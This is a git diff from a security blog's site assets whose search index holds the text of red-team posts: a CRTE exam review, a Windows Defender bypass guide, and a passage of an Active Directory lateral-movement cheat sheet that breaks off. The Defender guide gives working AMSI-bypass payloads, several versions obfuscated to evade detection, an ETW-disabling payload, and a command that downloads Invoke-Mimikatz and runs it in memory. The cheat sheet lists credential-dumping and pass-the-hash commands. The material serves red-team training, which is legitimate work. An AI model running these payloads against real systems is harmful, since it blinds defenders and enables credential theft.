,MAAM,CAFb,SAAS,CACP,EAAE,CAAG,EAAE,EACF,MAAM,AAAC,CACR,MAAM,CAAE,QAAQ,CACjB,AALL,AAOI,cAPU,CAEZ,EAAE,CAAG,EAAE,CAKH,CAAC,CANP,SAAS,CACP,EAAE,CAAG,EAAE,CAKH,CAAC,AAAC,CACF,WAAW,CAAE,MAAM,CACnB,QAAQ,CAAE,MAAM,CAChB,aAAa,CAAE,QAAQ,CACxB,CANA" +} \ No newline at end of file diff --git a/assets/img/favicons/android-chrome-192x192.png b/assets/img/favicons/android-chrome-192x192.png new file mode 100644 index 00000000..d2030201 Binary files /dev/null and b/assets/img/favicons/android-chrome-192x192.png differ diff --git a/assets/img/favicons/android-chrome-384x384.png b/assets/img/favicons/android-chrome-384x384.png new file mode 100644 index 00000000..e39104a8 Binary files /dev/null and b/assets/img/favicons/android-chrome-384x384.png differ diff --git a/assets/img/favicons/android-chrome-512x512.png b/assets/img/favicons/android-chrome-512x512.png new file mode 100644 index 00000000..e788ea31 Binary files /dev/null and b/assets/img/favicons/android-chrome-512x512.png differ diff --git a/assets/img/favicons/apple-touch-icon.png b/assets/img/favicons/apple-touch-icon.png new file mode 100644 index 00000000..b5dba7df Binary files /dev/null and b/assets/img/favicons/apple-touch-icon.png differ diff --git a/assets/img/favicons/browserconfig.xml b/assets/img/favicons/browserconfig.xml new file mode 100644 index 00000000..54217f7c --- /dev/null +++ b/assets/img/favicons/browserconfig.xml @@ -0,0 +1 @@ + #da532c diff --git a/assets/img/favicons/favicon-16x16.png b/assets/img/favicons/favicon-16x16.png new file mode 100644 index 00000000..ed2cfd9f Binary files /dev/null and b/assets/img/favicons/favicon-16x16.png differ diff --git a/assets/img/favicons/favicon-32x32.png b/assets/img/favicons/favicon-32x32.png new file mode 100644 index 00000000..d58d6f5d Binary files /dev/null and b/assets/img/favicons/favicon-32x32.png differ diff --git a/assets/img/favicons/favicon.ico b/assets/img/favicons/favicon.ico new file mode 100644 index 00000000..96c7a136 Binary files /dev/null and b/assets/img/favicons/favicon.ico differ diff --git a/assets/img/favicons/mstile-150x150.png b/assets/img/favicons/mstile-150x150.png new file mode 100644 index 00000000..3dd6f89f Binary files /dev/null and b/assets/img/favicons/mstile-150x150.png differ diff --git a/assets/img/favicons/site.webmanifest b/assets/img/favicons/site.webmanifest new file mode 100644 index 00000000..5d29165a --- /dev/null +++ b/assets/img/favicons/site.webmanifest @@ -0,0 +1 @@ +{ "name": "0xStarlight", "short_name": "0xStarlight", "description": "Cyber security, Red Teaming and CTF Writeup's", "icons": [ { "src": "/assets/img/favicons/android-chrome-192x192.png", "sizes": "192x192", "type": "image/png" }, { "src": "/assets/img/favicons/android-chrome-512x512.png", "sizes": "512x512", "type": "image/png" }], "start_url": "/index.html", "theme_color": "#2a1e6b", "background_color": "#ffffff", "display": "fullscreen" } diff --git a/assets/index.html b/assets/index.html new file mode 100644 index 00000000..4a7a9fa8 --- /dev/null +++ b/assets/index.html @@ -0,0 +1,11 @@ + + + + Redirecting… + + + + +

Redirecting…

+ Click here if you are not redirected. + diff --git a/assets/js/data/search.json b/assets/js/data/search.json new file mode 100644 index 00000000..8ee37569 --- /dev/null +++ b/assets/js/data/search.json @@ -0,0 +1 @@ +[ { "title": "CRTE Exam Review", "url": "/posts/CRTE-Exam-Review/", "categories": "Red-Teaming-Exams, CRTE-Review", "tags": "active-directory, CRTE-exam", "date": "2023-07-15 07:23:00 +0530", "snippet": "IntroductionI am thrilled to announce that I have successfully passed the CRTE (Certified Red Team Expert) exam from Altered Security, and I am excited to share my journey and experience with all of you. This certification marks a significant milestone in my career as a cybersecurity professional, further building upon my earlier achievements of attaining the CRTP (Certified Red Team Professional) and the CRTO (Certified Red Team Operator) certifications.Throughout my preparation and examination process, I encountered numerous challenges, gained invaluable insights, and developed a deeper understanding of the red teaming discipline. This blog aims to provide a comprehensive account of my experiences, shedding light on the preparation strategies, lab reviews, and the exam itself. Moreover, I will share tips and techniques that I found helpful in conquering the CRTE exam, offering guidance to those who aspire to follow a similar path.PreparationWhen preparing for the CRTE exam, it’s essential to establish a strong foundation in red teaming concepts and techniques. Red teaming involves simulating real-world attacks to identify vulnerabilities within an organization’s security infrastructure. To ensure a smoother transition into CRTE, I recommend completing the CRTP (Certified Red Team Professional) certification first.The CRTP certification covers a wide range of essential topics that serve as the building blocks for CRTE. It delves into areas such as Active Directory (AD) enumeration, trust mapping, domain privilege escalation, Kerberos-based attacks, SQL server trusts, defences, and bypasses of defences. By acquiring a solid understanding of these fundamental concepts through the CRTP, you will be better equipped to tackle the more advanced content in CRTE.Additionally, I had the opportunity to complete the CRTO (Certified Red Team Operator) certification, which focuses on conducting red team exams using the C2 framework “Cobalt Strike”. While I wouldn’t consider the CRTO a prerequisite for CRTE, it gave me valuable hands-on experience and a deeper understanding of red teaming methodologies. The CRTO exam-based approach, combined with using Cobalt Strike, enhanced my practical skills and complemented the theoretical knowledge gained from the CRTP.Engaging in practical exercises related to Active Directory was beneficial for extra preparation. HackTheBox : Easy-Medium Level Boxes HackTheBox ProLabs : Rastalabs or Offshore TCM Security : PEH CourseCRTE LabFor the lab portion of the CRTE certification, you can choose between “On Demand” and “Online Bootcamp.”BootcampThe “Bootcamp” option, is a 4-day workshop conducted weekly, with each session lasting approximately 3.5 hours. The course instructor covers the relevant concepts in these live sessions and demonstrates various objectives. The “Bootcamp” option is particularly beneficial for those who prefer a more guided approach and would like additional support throughout the lab exercises. However, having already solved Hack The Box Pro Labs, I felt confident that I could tackle the labs independently. Thus, I chose the “On Demand” option to proceed with my CRTE lab experience.On DemandThe “On Demand” option grants you access to the lab environment for your choice, ranging from 30 to 90 days. Priced at $299 for the 30-day access, this option includes all the necessary tools and a lab PDF that is solved using PowerShell. Additionally, the lab is solved using the C2 framework “Covenant”. In the “On Demand” option, students are expected to work independently on the lab challenges. However, if you encounter any difficulties, you can seek assistance by contacting the support team via email or by engaging with fellow students in the dedicated Discord group.I opted for the “On Demand” option and immediately began my lab journey after purchasing it on June 29th. The lab consists of 22 machines distributed across 8 forests, encompassing advanced attack scenarios. These scenarios cover various topics, including abuse of Kerberos Delegation, PAM Trust Abuse, LAPS, Dimond Tickets, MSSQL Abuse, Certificate Services, Shadow Credentials, and more. Additionally, the lab contains a total of 60 flags to discover.Remarkably, I completed all the flags within 48 hours, spanning 4 days. To ensure I captured all the vital details, I diligently took comprehensive notes using Obsidian, documenting the attack techniques I utilized and the corresponding commands. In the end, you also have the option to tweet about the lab completion.Exam ExperienceExam SetupThe CRTE exam offers the flexibility of an on-demand start, eliminating the need for advanced scheduling. The exam setup process typically takes around 10-15 minutes. Upon commencement, you are provided an additional hour of lab access, extending the total exam lab time to 48 hours plus 1 hour. Following the completion of the exam, you are granted an extra 48 hours to prepare and submit a comprehensive report. This report should include meticulous details such as screenshots and tool references for each attack that exploits specific machines.To successfully pass the CRTE exam, you must demonstrate your proficiency by solving at least 4 out of 5 machines. Alongside your successful exploitation, delivering a high-quality report encompassing key elements such as thorough enumeration, step-by-step exploitation methodology, post-exploitation activities, and suggested mitigations is crucial.By adhering to these requirements and presenting a well-documented report, you can effectively showcase your understanding of the exam objectives and secure a successful outcome in the CRTE certification exam.Exam JourneyDuring my CRTE exam journey, I commenced the examination on July 6th around 12:30 PM. The exam would end in 48 hours and would have an extra 48 hours to submit the reort.The initial compromise of the first machine proved to be relatively straightforward, requiring adherence to the basic attack methodology that eventually led me to discover something intriguing. I could attain a reverse shell on the target system by leveraging this discovery.However, the second machine presented a more challenging task, demanding additional research beyond what was covered in the course materials. Diligent exploration and in-depth investigation on various abuse techniques were necessary to overcome this obstacle successfully.Fortunately, the third machine posed fewer difficulties, with the attack path becoming quite apparent during the enumeration process. This clarity facilitated a relatively swift compromise.On the other hand, the fourth machine initially posed a minor setback as I mistakenly assumed a particular attack vector without conducting a thorough enumeration. Once I corrected this oversight and performed comprehensive enumeration, the correct attack path became evident, leading to a successful compromise.Lastly, the fifth machine followed a similar pattern of relative ease, with the attack path visible, making it more straightforward to exploit and compromise.I completed the CRTE exam in just 17 hours and submitted the accompanying report within 24 hours.Although I admittedly spent some time exploring non-essential aspects, those who approach the exam more directly can reasonably expect to finish within 6 to 9 hours. By staying focused and minimizing distractions, candidates can optimize their exam experience and achieve efficient results.Exam ReviewReflecting on my exam experience, I can’t help but recall a popular meme that perfectly encapsulates it all. While the CRTE course delved into numerous advanced attack vectors, it was interesting that those specific vectors weren’t prominently featured in the exam. It’s important to emphasize that this doesn’t necessarily imply that the exam was more challenging or straightforward. Instead, what truly mattered was a comprehensive understanding of the methodology and a strategic approach when dealing with an Active Directory environment.A solid grasp of the methodology and navigating an Active Directory environment proved crucial during the exam. By applying this knowledge effectively, the exam unfolded smoothly. Moreover, the exam’s success relied on conducting proper research, delving into the necessary techniques, and employing sound practices. Armed with these preparations, compromising each machine became an achievable feat.Exam Tips Develop a Methodology: Build a proper methodology for attacking an AD environment, encompassing the enumeration, exploitation, and post-exploitation phases. It is crucial to mention the mitigations for each step exploited in your report, demonstrating a comprehensive understanding of defensive measures. Focus on Enumeration: Prioritize thorough enumeration as it is the key to uncovering crucial information about the target environment. Invest ample time in gathering details about users, groups, privileges, and potential vulnerabilities. Utilize BloodHound: Familiarize yourself with the powerful tool BloodHound, which provides valuable insights into AD environments. If needed, employ manual enumeration using PowerShell to gather additional information. Maintain a List of Attacks and Techniques: Keep a comprehensive list of enumeration techniques and potential attacks. If BloodHound or initial enumeration doesn’t yield desired results, refer to your list to explore alternative attack paths. Correlate User and Credential Information: Take note of all users and credentials you discover during the exam. Correlating this information may uncover valuable hints or clues for further exploitation and privilege escalation. Document Mitigations: Pay attention to potential mitigations for the vulnerabilities and attack vectors you encounter. Include these mitigations in your report to showcase your understanding of defensive measures and provide a thorough analysis. Take Breaks and Manage Stress: Remember to take regular breaks, eat well, and rest during the exam. Managing stress levels and maintaining a clear mindset will help enhance your focus and overall performance. Feel free to check out my cheat sheet for CRTE exam on my github CRTE-NOTES. This cheat sheet includes additional insights and strategies to help you prepare effectively for the exam.ConclusionIn conclusion, undertaking the CRTE lab and exam proved to be a rewarding experience. The lab environment provided an excellent platform for practical application, allowing me to exercise the attack vectors covered in the course and explore various chained attacks. The support team demonstrated exceptional responsiveness throughout the lab, promptly addressing any lab-related issues and assisting whenever I encountered challenges.Transitioning to the exam phase, the difficulty level was relatively moderate. I could successfully navigate the exam with a diligent research approach and well-established methodology. The exam tested not only my technical knowledge but also my ability to apply that knowledge in a methodical manner.After eagerly awaiting the results, I received the outcome via email after a week, and to my delight, I learned that I had passed the exam!If you find my articles interesting, you can buy me a coffee" }, { "title": "Bypassing Windows Defender", "url": "/posts/Bypassing-Windows-Defender/", "categories": "Red-Teaming, Defender-bypass", "tags": "active-directory, windows, amsi-bypass, etw-bypass", "date": "2023-05-14 20:00:00 +0530", "snippet": "IntroductionGreetings, everyone 👋. In this brief article, I will outline a manual obfuscation technique for bypassing Windows Defender. Specifically, I will cover how to patch the Antimalware Scan Interface and disable Event Tracing for Windows to evade detection. Additionally, I will demonstrate how to combine both methods for maximum effectiveness and provide guidance on using this approach. Throughout the article, I will use AmsiTrigger and Invoke-obfuscation. These tools will help to identify the malicious scripts and help obfuscate them.Bypassing AV Signatures PowerShellWindows Defender Antimalware Scan Interface (AMSI) is a security feature that is built into Windows 10 and Windows Server 2016 and later versions. AMSI is designed to provide enhanced malware protection by allowing antivirus and other security solutions to scan script-based attacks and other suspicious code before they execute on a system.By disabling or AMSI, attackers can download malicious scripts in memory on the systems. Original Payload for AMSI bypass [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) Methodology - Manual Scan using AMSITrigger Modify the detected code snippet Base64 Hex Concat Reverse String Rescan using AMSITrigger or Download a test ps1 script in memory Repeat the steps 2 &amp; 3 till we get a result as “AMSI_RESULT_NOT_DETECTED” or “Blank”Understanding the commandThis command is used to modify the behavior of the Anti-Malware Scan Interface (AMSI) in PowerShell. Specifically, it sets a private, static field within the System.Management.Automation.AmsiUtils class called “amsiInitFailed” to true, which indicates that the initialization of AMSI has failed.Here is a breakdown of the command and what each part does: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'): This first part of the command uses the [Ref] type accelerator to get a reference to the System.Management.Automation assembly and then uses the GetType() method to get a reference to the System.Management.Automation.AmsiUtils class. System.Management.Automation.AmsiUtils is a part of the PowerShell scripting language and is used to interact with the Anti-Malware Scan Interface (AMSI) on Windows operating systems. AMSI is a security feature that allows software to integrate with antivirus and other security products to scan and detect malicious content in scripts and other files. While System.Management.Automation.AmsiUtils itself is not inherently malicious, it can be flagged as such if it is being used in a context that appears suspicious to antivirus or other security software. For example, malware authors may use PowerShell scripts that leverage AMSI to bypass traditional antivirus detection and execute malicious code on a system. Thus, System.Management.Automation.AmsiUtils may be flagged as malicious if it is being used in a context that appears to be part of a malware attack or if it is being used in a way that violates security policies on a system. .GetField('amsiInitFailed','NonPublic,Static'): This part of the command uses the GetField() method to get a reference to the private, static field within the System.Management.Automation.AmsiUtils class called "amsiInitFailed". The 'NonPublic,Static' argument specifies that the method should retrieve a non-public and static field. .SetValue($null,$true): Finally, this part of the command uses the SetValue() method to set the value of the "amsiInitFailed" field to true. The $null argument specifies that we are not setting the value on an instance of the object, and the $true argument is the new value we are setting the field to.The reason for setting "amsiInitFailed" to true is to bypass AMSI detection, which may be used by antivirus or other security software to detect and block potentially malicious PowerShell commands or scripts. By indicating that the initialization of AMSI has failed, this command prevents AMSI from running and potentially interfering with the execution of PowerShell commands or scripts. It is worth noting, however, that bypassing AMSI can also make it easier for malicious actors to execute code on a system undetected, so caution should be exercised when using this command in practice.Running the commandLets open Powershell and execute the original payload to patch AMSI and check the result.PS:\\&gt; [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) As we can see, Windows has identified the command as malicious and blocked it from being executed. Now we need to identify what part of the payload is getting detected by Defender and triggering it to be marked as malicious.AMSI Trigger With the help of AMSITrigger.exe, we can identify the malicious string in the payload.PS C:\\AMSITrigger&gt; .\\AmsiTrigger_x64.exe We can save our payload in a .ps1 file, and with the -i flag, we can supply the malicious ps1 filePS C:\\AMSITrigger&gt; .\\AmsiTrigger_x64.exe -i test.ps1From the output results we can see that it flagged two strings as malicious “A m s i U t i l s” “a m s i I n i t F a i l e d”Patching AMSIAfter analyzing the strings that caused Windows Defender to block our script, we can now take steps to bypass this security mechanism. Several techniques can be used to evade detection, with one of the simplest and most effective being to encode or encrypt the payload.We can do it in the following ways Base64 Encoding Hex Encoding Reversing The String Concatenation Now lets try to modify our original payload using just Base64 encoding.Base64 EncodingBase64 Encoding is a widely used encoding technique that converts binary data into a string of ASCII characters. This method is easy to implement and can be decoded with simple tools. A simple Base64 encoding and decoding snippet in PowerShell looks like this :# Encoding PayloadPS:\\&gt; $Text = 'Hello World';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText# Decoding PaylaodPS:\\&gt; $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('SABlAGwAbABvACAAVwBvAHIAbABkAA=='))) Now we can do the same for AmsiUtils and amsiInitFailedPS:\\&gt; $Text = 'AmsiUtils';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText Windows Defender could still detect AmsiUtils encoded in base64. We can divide this into two pieces and concat them together to avoid getting detected.# Encoding PayloadPS:\\&gt; $Text = 'Amsi';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedTextPS:\\&gt; $Text = 'Utils';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText# Decoding PaylaodPS:\\&gt; $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBtAHMAaQA=')))+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VQB0AGkAbABzAA=='))) We can see this way we have encoded AmsiUtils without triggering Defender Lets try the same for amsiInitFailed by splitting it into 3 parts amsi Init Failed # Encoding PayloadPS:\\&gt; $Text = 'amsi';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedTextPS:\\&gt; $Text = 'Init';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedTextPS:\\&gt; $Text = 'Failed';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText# Decoding PaylaodPS:\\&gt; $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAHMAaQA=')) + $([System.Text.Encoding]::Unicode.GetString($([System.Convert]::FromBase64String('SQBuAGkAdAA=')))) + $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgBhAGkAbABlAGQA')))) As we can see, we have encoded amsiInitFailed also without triggering Defender.Final PayloadNow that we crafted the final payload to Patch AMSI, let us look back at the original AMSI bypass code.PS:\\&gt; [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) All we need to do now is replace AmsiUtils and amsiInitFailed with the base64 encoded payload and concat the rest of the string.PS:\\&gt; [Ref].Assembly.GetType($('System.Management.Automation.')+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBtAHMAaQA=')))+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VQB0AGkAbABzAA==')))).GetField($([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAHMAaQA=')) + $([System.Text.Encoding]::Unicode.GetString($([System.Convert]::FromBase64String('SQBuAGkAdAA=')))) + $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgBhAGkAbABlAGQA')))),$('NonPublic,Static')).SetValue($null,$true) For confirmation, we can download and execute Mimikatz.ps1 in the memory and check if its triggering Defender.PS:\\&gt; IEX(iwr -uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -UseBasicParsing)As you can see, we successfully encoded the AMSI bypass payload in base64. Below I will give a demonstration on how to encode it in hex and use techniques like reverse string and concatenationConcatenationAn easy was of bypassing “A m s i U t i l s” is by simply splitting it into two words and adding them together.PS:\\&gt; 'AmsiUtils'PS:\\&gt; 'Amsi' + 'Utils'Hex EncodingA simple Hex encoding and decoding snippet in PowerShell looks like this :# Encoding PayloadPS:\\&gt; "Hello World" | Format-Hex# Decoding PayloadPS:\\&gt; $r = '48 65 6C 6C 6F 20 57 6F 72 6C 64'.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$s=$s+$_} PS C:\\&gt; $sReverse StringThe last technique is by reversing the string for obfuscating the payload.# Encoding PayloadPS:\\&gt; (([regex]::Matches("testing payload",'.','RightToLeft') | foreach {$_.value}) -join '')# Decoding PayloadPS:\\&gt; (([regex]::Matches("daolyap gnitset",'.','RightToLeft') | foreach {$_.value}) -join '')Final Payload - 2We can also combine these techniques to create a more powerful and effective payload that can evade detection by Windows Defender. Using a combination of Base64 Encoding, Hex Encoding, Reversing The String, and Concatenation, we can create a highly obfuscated payload to bypass Windows Defender.PS:\\&gt; $w = 'System.Manag';$r = '65 6d 65 6e 74 2e 41 75 74 6f 6d 61 74 69 6f 6e 2e'.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$s=$s+$_};$c = 'Amsi'+'Utils';$assembly = [Ref].Assembly.GetType(('{0}{1}{2}' -f $w,$s,$c));$n = $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAA==')));$b = 'siIn';$k = (([regex]::Matches("deliaFti",'.','RightToLeft') | foreach {$_.value}) -join '');$field = $assembly.GetField(('{0}{1}{2}' -f $n,$b,$k),'NonPublic,Static');$field.SetValue($null,$true)Patching Event Tracing for WindowsEvent Tracing for Windows (ETW) is a powerful logging and tracing mechanism in the Windows operating system that allows developers, administrators, and analysts to monitor and diagnose system events in real time. It collects and analyses diagnostic and performance data from applications and services running on Windows. ETW records events generated by the operating system and applications, including information on processes, threads, disk I/O, network activity, and more.By disabling or manipulating ETW, attackers can prevent security tools from logging their actions or tracking their movement within a system. Original Payload to patch ETW [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0) Understanding the commandThis command is used to modify the behavior of the Event Tracing for Windows(ETW) in PowerShell. Specifically, it sets a private, static field within the System.Management.Automation.Tracing.PSEtwLogProvider class called "m_enabled" to true, 0 indicates that the initialization of ETW is disabled.Here is a breakdown of the command and what each part does: [Reflection.Assembly]::LoadWithPartialName('System.Core') loads the System.Core assembly into memory. .GetType('System.Diagnostics.Eventing.EventProvider') retrieves the EventProvider type from the loaded assembly. .GetField('m_enabled','NonPublic,Instance') retrieves the m_enabled field of the EventProvider type, which determines whether event tracing is enabled for that provider. .SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0) sets the m_enabled field of the PowerShell ETW provider to 0 (disabled). This prevents PowerShell from logging events to the Windows Event Log or other ETW consumers.Patching ETWWe have already learned how to patch PowerShell scripts manually. I will explain how to obfuscate Powershell using Invoke-Obfuscation for this example. I already have this setup on my Commando-VM. First thing is that we can launch Invoke-Obfuscation We can set our payload and use AES encryption to encrypt our payload.Invoke-Obfuscation&gt; SET SCRIPT BLOCK [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)Invoke-Obfuscation&gt; ENCODINGInvoke-Obfuscation&gt; ENCODING\\5 The encrypted payload will be visible at the end of the screen. Now we can execute the payload. Before doing that, we need to understand why we have encrypted the payload and what the payload does. First, lets directly execute the payload. As we can see that Defender has detected our encrypted payload, this is because it’s encryption which will be decrypted and get executed. Hence will help in bypassing Static analysis only. We can better understand if we execute the command without executing it. To circumvent this security measure, we can bypass AMSI and then execute the desired command. It’s worth noting that while we can bypass AMSI and execute the raw payload to disable ETW, doing so may result in detecting and logging the attack in the PowerShell history file. As a result, it is recommended to use additional techniques such as encoding or obfuscation to evade detection and prevent attack logging.Tools Used AmsiTrigger Invoke-obfuscationIf you find my articles interesting, you can buy me a coffee" }, { "title": "Active Directory - Lateral Movement", "url": "/posts/Active-Directory-Lateral-Movement/", "categories": "Red-Teaming, Active-Directory-Lateral-Movement", "tags": "active-directory, amsi-bypass, active-directory-lateral-movement, mimikatz, MSSQL, remoting", "date": "2022-04-08 13:25:00 +0530", "snippet": "IntroductionWelcome to my fourth article in the Red Teaming Series (Active Directory Lateral Movement). I hope everyone has gone through the previous articles of this series which go through the basic concepts required, high-level Domain enumeration explanation and AD/Windows Local Privilege escalation guide.If not so, you can give it a read from here.This guide explains Active-Directory Lateral Movement snippets mainly by using PowerShell cmdlets, Inkove-Mimikats and abusing MS-SQL servers in detail. I will also explain those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.I will continue to update this article with new lateral movement attacks. Throughout the article, I will use PowerView, Invoke-Mimikatz and PowerUpSQL.psd1 in performing the lateral movement on a Windows/Active Directory Environment. If any other tools are required, they will be mentioned along.What is Lateral MovementLateral movement is when an attacker leverages their current access rights to navigate around your environment. Privilege escalation, which I already covered, is gaining increased access permissions. Attackers combine these two tactics to achieve their ultimate goal of stealing data or doing other damage to your organization.PowerShell Remoting Think of it as psexec on steroids. You will found this increasingly used in enterprises. Enabled by default on Server 2012 onwards. You may need to enable remoting (Enable-PSRemoting) on a Desktop Windows machine, Admin privs are required to do that. You get elevated shell on remote system if admin creds are used to authenticate (which is the default setting). By default, enabling PowerShell remoting enables both an http and an https listener. The listeners run on default ports 5985 for http and 5986 for https.Powershell SessionsIn the table below, you can get a brief understanding of the working and usage of the cmdlets we will be using to perform attacks. Session Type Cmdlets Benifits One-to-One 1. New-PSSession 2. Enter-PSSession 1. Interactive 2. Runs in a new process (wsmprovhost) 3. Is Stateful One-to-Many 1. Invoke-Command 1. Non-interactive 2. Executes commands parallely 3. Execution is in disconnected sessions (v3) Use -Credential parameter to pass username/password$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential("&lt;computer-name&gt;", $pass)Enter/New-PSSession Remoting1. Connect to a PS-Session of a remote userEnter-PSSession -Computername &lt;computer-name&gt; 2. Execute Stateful commands using Enter-PSSession ( persistence )$sess = New-PSSession -Computername &lt;computer-name&gt;Enter-PSSession -Session $sess[scorp.star.light.local]:PS&gt; $proc = Get-Process[scorp.star.light.local]:PS&gt; exitEnter-PSSession -Session $sess[scorp.star.light.local]:PS&gt; procWill list current processInvoke-Command1. Execute Stateful commands using Invoke-Command ( persistence )$sess = New-PSSession -Computername &lt;computer-name&gt;Invoke-Command -Session $sess -ScriptBlock {$proc = Get-Process}Invoke-Command -Session $sess -ScriptBlock {$proc.Name}2. Display allowed commands we can execute on remote machine# copy the command snippet with the parameters which are requiredInvoke-Command -computername &lt;computer-name&gt; -ConfigurationName &lt;fill-if-required&gt; -credential $cred -command {get-command}Invoke-Command -computername &lt;computer-name&gt; -credential $cred -command {get-command}Invoke-Command -computername &lt;computer-name&gt; -command {get-command}3. Write File using ScriptBlock# copy the command snippet with the parameters which are requiredInvoke-Command -ComputerName &lt;computer-name&gt; -ConfigurationName &lt;fill-if-required&gt; -Credential $cred -ScriptBlock {Set-Content -Path 'c:\\temp.bat' -Value 'whoami'}Invoke-Command -ComputerName &lt;computer-name&gt; -Credential $cred -ScriptBlock {Set-Content -Path 'c:\\temp.bat' -Value 'whoami'}Invoke-Command -ComputerName &lt;computer-name&gt; -ScriptBlock {Set-Content -Path 'c:\\temp.bat' -Value 'whoami'}4. Edit file using ScriptBlock# copy the command snippet with the parameters which are requiredInvoke-Command -computername &lt;computer-name&gt; -ConfigurationName &lt;fill-if-required&gt; -ScriptBlock {((cat "c:\\mention\\path\\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\\mention\\same\\path\\here} -credential $credInvoke-Command -computername &lt;computer-name&gt; -ScriptBlock {((cat "c:\\mention\\path\\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\\mention\\same\\path\\here} -credential $credInvoke-Command -computername &lt;computer-name&gt; -ScriptBlock {((cat "c:\\mention\\path\\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\\mention\\same\\path\\here}5. Command execution using command and ScriptBlock# copy the command snippet with the parameters which are requiredInvoke-Command -computername &lt;computer-name&gt; -ConfigurationName &lt;fill-if-required&gt; -credential $cred -command {whoami}Invoke-Command -computername &lt;computer-name&gt; -ConfigurationName &lt;fill-if-required&gt; -credential $cred -ScriptBlock {whoami}Invoke-Command -computername &lt;computer-name&gt; -command {whoami}Invoke-Command -computername &lt;computer-name&gt; -ScriptBlock {whoami}6. File execution using ScriptBlock# copy the command snippet with the parameters which are requiredInvoke-Command -ComputerName &lt;computer-name&gt; -ConfigurationName &lt;fill-if-required&gt; -Credential $cred -ScriptBlock{"C:\\temp\\mimikatz.exe"}Invoke-Command -ComputerName &lt;computer-name&gt; -Credential $cred -ScriptBlock{"C:\\temp\\mimikatz.exe"}Invoke-Command -ComputerName &lt;computer-name&gt; -ScriptBlock{"C:\\temp\\mimikatz.exe"}7. File execution using FilePathInvoke-Command -computername &lt;computer-name&gt; -FilePath "C:\\temp\\mimikatz.exe"8. Language ModeInvoke-Command -computername &lt;computer-name&gt; -ScriptBlock {$ExecutionContext.SessionState.LanguageMode} If the value of the LanguageMode is Constrained, then it will only allow built-in cmdlets executionExecute locally loaded function on the remote machinesExample : Hello.ps1function hello{Write-Output "Hello from the function"}1. Now we can load the function on our machine. .\\Hello.ps12. Now we can execute the locally loaded functions Invoke-Command -ScriptBlock ${function:hello} -ComputerName &lt;computer-name&gt;3. In this case, we are passing Arguments. Keep in mind that only positional arguments could be passed this wayInvoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content &lt;list of servers&gt;) -ArgumentList4. Directly load function on the remote machines using FilePath$sess = New-PSSession -Computername &lt;computer-name&gt;Invoke-Command -FilePath "C:\\temp\\hello.ps1" -Session $sessEnter-PSSession -Session $sess[scorp.star.light.local]:PS&gt; helloHello from the functionInvoke-Mimikatz The script could be used to dump credentials, tickets and more using mimikatz with PowerShell without dropping the mimikatz exe to disk. It is very useful for passing and replaying hashes, tickets and for many exciting Active Directory attacks. Using the code from ReflectivePEInjection, mimikatz is loaded reflectively into the memory. All the functions of mimikatz could be used from this script. The script needs administrative privileges for dumping credentials from local machine. Many attacks need specific privileges which are covered while discussing that attack.1. Dump credentials on a local machineInvoke-Mimikatz -DumpCreds2. Dump credentials on multiple remote machinesInvoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2") Invoke-Mimikatz uses PowerShell remoting cmdlet Invoke-Command to do above.3. “Over pass the hash” generate tokens from hashesInvoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:&lt;ntImhash&gt; /run:powershell.exe"'4. Create new session and dump 